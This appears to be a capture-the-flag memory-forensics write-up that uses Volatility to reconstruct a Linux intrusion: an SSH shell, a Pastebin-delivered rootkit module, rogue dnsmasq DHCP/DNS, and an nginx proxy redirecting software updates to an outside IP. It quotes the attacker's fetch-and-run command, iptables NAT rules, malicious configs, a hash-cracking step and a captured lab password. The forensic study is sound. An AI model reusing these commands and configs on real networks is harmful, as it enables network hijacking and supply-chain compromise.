Description
A memory dump from a connected Linux machine reveals covert network connections, fake services, and unusual redirects. Holmes investigates further to uncover how the attacker is manipulating the entire network!
TL;DR
- Linux kernel version:
5.10.0-35-amd64(fromstrings memdump.mem | grep "Linux version") - Attacker’s first shell PID:
13608(fromvol -f memdump.mem linux.pstree– firstbashundersshd) - Escalated credentials (user:password):
jm:WATSON0(fromsu jmin bash history → cracked/etc/shadowhash) - Malicious rootkit file path:
/usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko
(fromvol -f memdump.mem linux.pagecache.Files | grep Nullincrevenge) - Rootkit author email:
i-am-the@network.now(from embedded module metadataauthorfield) - Installed package & PID:
dnsmasq,38687(from bash historyapt install dnsmasq+linux.pstree) - Compromised workstation hostname:
Parallax-5-WS-3(from DHCP/ARP log and192.168.211.52request logs) - User portal login (username):
mike.sullivan(from captured HTTP POST request to/index.php) - Downloaded malicious update:
/win10/update/CogSoftware/AetherDesk-v74-77.exe
(from nginx access log entry for192.168.211.52) - Original domain & final redirect:
updates.cogwork-1.net,13.62.49.86:7477
(from malicious nginx reverse proxy config on192.168.211.8)
Solution
In this challenge, we are tasked to analyze the attached memory dump, memdump.mem, which is a dump from a Linux machine.
What is the Linux kernel version of the provided image? (string)
To find the Linux kernel version, we can use strings and grep the output for Linux version using the command strings memdump.mem| grep -i "Linux version". This outputs the Linux version: Linux version 5.10.0-35-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.237-1 (2025-05-19)
Answer: 5.10.0-35-amd64
The attacker connected over SSH and executed initial reconnaissance commands. What is the PID of the shell they used? (number)
To be able to analyze the memory dump using Volatility3, we have to generate a symbols file for the correct Linux kernel.
As we saw from the Linux banner in the previous question, the kernel was 5.10.0-35-amd64 and from a Debian 10.2.1-6 distribution. Using this information, we can find the debug version of the correct kernel in Debian archives.
After downloading the debug version, we need to extract the deb package. We can do this with the following command: dpkg-deb -x linux-image-5.10.0-35-amd64-dbg_5.10.237-1_amd64.deb dbg-out
After extracting, we find the kernel file in dbg-out/usr/lib/debug/lib/modules/5.10.0-35-amd64/vmlinux. Using dwarf2json, we can generate the symbol file that we can use in Volatility. After generating the file, we need to put the file in Volatility’s symbols/linux directory with the name vmlinux-5.10.0-35-amd64.json.
When this is done, we can use Volatility to process our memory dump. To extract the running processes we can run vol -f memdump.mem linux.pstree.
In the output we find a bunch of sshd processes.
* 0x9b3386ee9800 560 560 1 sshd
** 0x9b3383224800 13585 13585 560 sshd
*** 0x9b3383370000 13607 13607 13585 sshd
**** 0x9b338337e000 13608 13608 13607 bash
***** 0x9b33900a4800 20703 20703 13608 su
****** 0x9b3382a5b000 22714 22714 20703 bash
** 0x9b3281326000 63454 63454 560 sshd
*** 0x9b329251e000 63460 63460 63454 sshd
**** 0x9b32924a6000 63461 63461 63460 bash
***** 0x9b3390208000 63483 63483 63461 sudo
****** 0x9b3383044800 63500 63500 63483 insmod
From this list, we can find the first bash process used in the recon.
Answer: 13608
After the initial information gathering, the attacker authenticated as a different user to escalate privileges. Identify and submit that user’s credentials. (user:password)
To find what user the attacker authenticated as, we can dump the bash history using vol -f memdump.mem linux.bash.
Volatility 3 Framework 2.26.0
PID Process CommandTime Command
13608 bash 2025-09-03 08:16:48.000000 UTC id
13608 bash 2025-09-03 08:16:52.000000 UTC
13608 bash 2025-09-03 08:16:52.000000 UTC cat /etc/os-release
13608 bash 2025-09-03 08:16:58.000000 UTC uname -a
13608 bash 2025-09-03 08:17:02.000000 UTC ip a
13608 bash 2025-09-03 08:17:04.000000 UTC 0
13608 bash 2025-09-03 08:17:04.000000 UTC ps aux
13608 bash 2025-09-03 08:17:25.000000 UTC docker run -v /etc/:/mnt -it alpine
13608 bash 2025-09-03 08:18:11.000000 UTC su jm
22714 bash 2025-09-03 08:18:15.000000 UTC poweroff
22714 bash 2025-09-03 08:18:31.000000 UTC id
22714 bash 2025-09-03 08:18:40.000000 UTC wget -q -O- https://pastebin.com/raw/hPEBtinX|sh
22714 bash 2025-09-03 08:19:48.000000 UTC nano /etc/sysctl.conf
22714 bash 2025-09-03 08:20:04.000000 UTC sysctl --system
22714 bash 2025-09-03 08:20:15.000000 UTC iptables -A FORWARD -i ens224 -o ens192 -j ACCEPT
22714 bash 2025-09-03 08:20:15.000000 UTC iptables -A FORWARD -i ens192 -o ens224 -m state --state ESTABLISHED,RELATED -j ACCEPT
22714 bash 2025-09-03 08:20:16.000000 UTC iptables -t nat -A POSTROUTING -s 192.168.211.0/24 -o ens192 -j MASQUERADE
22714 bash 2025-09-03 08:20:31.000000 UTC apt install -y dnsmasq
22714 bash 2025-09-03 08:20:50.000000 UTC rm /etc/dnsmasq.conf
22714 bash 2025-09-03 08:20:56.000000 UTC nano /etc/dnsmasq.conf
22714 bash 2025-09-03 08:21:23.000000 UTC systemctl enable --now dnsmasq
22714 bash 2025-09-03 08:21:30.000000 UTC systemctl restart dnsmasq
22714 bash 2025-09-03 08:21:38.000000 UTC cd /tmp/
22714 bash 2025-09-03 08:21:42.000000 UTC nano default.conf
22714 bash 2025-09-03 08:22:03.000000 UTC docker run -d --name jm_proxy --network host -v $(pwd)/default.conf:/etc/nginx/conf.d/default.conf:ro nginx:alpine
22714 bash 2025-09-03 08:22:17.000000 UTC rm default.conf
22714 bash 2025-09-03 08:22:17.000000 UTC /home/werni
63461 bash 2025-09-03 08:26:26.000000 UTC p멺
63461 bash 2025-09-03 08:26:26.000000 UTC sudo insmod /lime-5.10.0-35-amd64.ko "path=/tmp/memdump.mem format=lime"
Here we find su jm, which means that the attacker switched to the user jm. Opening the memdump in a hex editor, we can search for jm: to see if we can find the password hash.

Here we found the hash for the user jm.
jm:$1$jm$poAH2RyJp8ZllyUvIkxxd0:0:0:root:/root:/bin/bash
Now we can try to crack the hash using john jm.hash --wordlist=wordlists/rockyou.txt. This returns the password WATSON0.
Answer: jm:WATSON0
The attacker downloaded and executed code from Pastebin to install a rootkit. What is the full path of the malicious file? (/path/filename.ext)
From the bash history we can find the command used to download and execute the code: wget -q -O- https://pastebin.com/raw/hPEBtinX|sh. Since it’s a rootkit, it likely deployed a malicious kernel module. Using Volatility, we can list modules using vol -f memdump.mem linux.check_modules.
In the output, we find an unsigned and out-of-tree module named Nullincrevenge: 0xffffc0aa00d0 Nullincrevenge 0x4000 OOT_MODULE,UNSIGNED_MODULE N/A
Using this information, we can run vol -f memdump.mem linux.pagecache.Files | grep -i Nullincrevenge to find the path of the kernel module.
0x9b33882a9000.0/ 8:1 298762ng0x9b3386454a80shREG 135 39 -rw-r--r-- 2025-09-03 08:18:44.155080 UTC 2025-09-03 08:18:40.799070 UTC 2025-09-03 08:18:40.799070 UTC /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko 551688
Answer: /usr/lib/modules/5.10.0-35-amd64/kernel/lib/Nullincrevenge.ko
What is the email account of the alleged author of the malicious file? (user@example.com)
Searching the memdump for Nullincrevenge, we can find the following information:
description=NULLINC REVENGE IS COMING...
license=GPL
author=i-am-the@network.now
depends=
retpoline=Y
name=Nullincrevenge
vermagic=5.10.0-35-amd64 SMP mod_unload modversions
Answer: i-am-the@network.now
The next step in the attack involved issuing commands to modify the network settings and installing a new package. What is the name and PID of the package? (package name,PID)
In the bash history, we find the following commands:
22714 bash 2025-09-03 08:20:31.000000 UTC apt install -y dnsmasq
22714 bash 2025-09-03 08:20:50.000000 UTC rm /etc/dnsmasq.conf
22714 bash 2025-09-03 08:20:56.000000 UTC nano /etc/dnsmasq.conf
22714 bash 2025-09-03 08:21:23.000000 UTC systemctl enable --now dnsmasq
22714 bash 2025-09-03 08:21:30.000000 UTC systemctl restart dnsmasq
This indicates that the new package is dnsmasq. To find the PID, we can check the pstree output from earlier. In the output we find * 0x9b32812d6000 38687 38687 1 dnsmasq.
Answer: dnsmasq,38687
Clearly, the attacker’s goal is to impersonate the entire network. One workstation was already tricked and got its new malicious network configuration. What is the workstation’s hostname?
By searching for strings in the memory dump, we recover fragments of dnsmasq.conf.
interface=ens224
dhcp-range=192.168.211.30,192.168.211.240,1h
dhcp-option=3,192.168.211.8
dhcp-option=6,192.168.211.8
address=/updates.cogwork-1.net/192.168.211.8
This will configure the clients to use 192.168.211.8 as their gateway and DNS and the queries for updates.cogwork-1.net will resolve to 192.168.211.8.
Digging deeper into the dump, we can find a log entry of a client connecting to the malicious server.
4041015663 {"log":"192.168.211.52 - - [03/Sep/2025:08:25:48 +0000] \"GET /win10/update/CogSoftware/AetherDesk-v74-77.exe HTTP/1.1\" 200 12084 \"-\" \"AetherDesk/73.0 (Windows NT 10.0; Win64; x64)\" \"-\"\n","stream":"stdout","time":"2025-09-03T08:25:48.599517549Z"}
The client at 192.168.211.52 downloaded the malicious file. Searching for 192.168.211.52, we can find the hostname in this string: 1756891471 00:50:56:b4:32:cd 192.168.211.52 Parallax-5-WS-3 01:00:50:56:b4:32:cd
Answer: Parallax-5-WS-3
After receiving the new malicious network configuration, the user accessed the City of CogWork-1 internal portal from this workstation. What is their username? (string)
To find the username, we can assume that the data is submitted by a HTTP POST request. Searching the dump for POST requests, we find the following:
POST /index.php HTTP/1.1
Host: 10.129.232.25:8081
Connection: keep-alive
Content-Length: 43
Cache-Control: max-age=0
Origin: http://10.129.232.25:8081
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.232.25:8081/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=189b027ab0e5e10f496e57953544cd74
username=mike.sullivan&password=Pizzaaa1%21
Answer: mike.sullivan
Finally, the user updated a software to the latest version, as suggested on the internal portal, and fell victim to a supply chain attack. From which Web endpoint was the update downloaded?
From the earlier GET request log entry, we found the file that was downloaded.
Answer: /win10/update/CogSoftware/AetherDesk-v74-77.exe
To perform this attack, the attacker redirected the original update domain to a malicious one. Identify the original domain and the final redirect IP address and port. (domain,IP:port)
In the memory dump, we can find a nginx configuration file.
server {
listen 80;
location / {
proxy_pass http://13.62.49.86:7477/;
proxy_set_header Host jm_supply;
}
}
This indicates that the server at 192.168.211.8 redirects the requests to 13.62.49.86:7477.
Answer: updates.cogwork-1.net,13.62.49.86:7477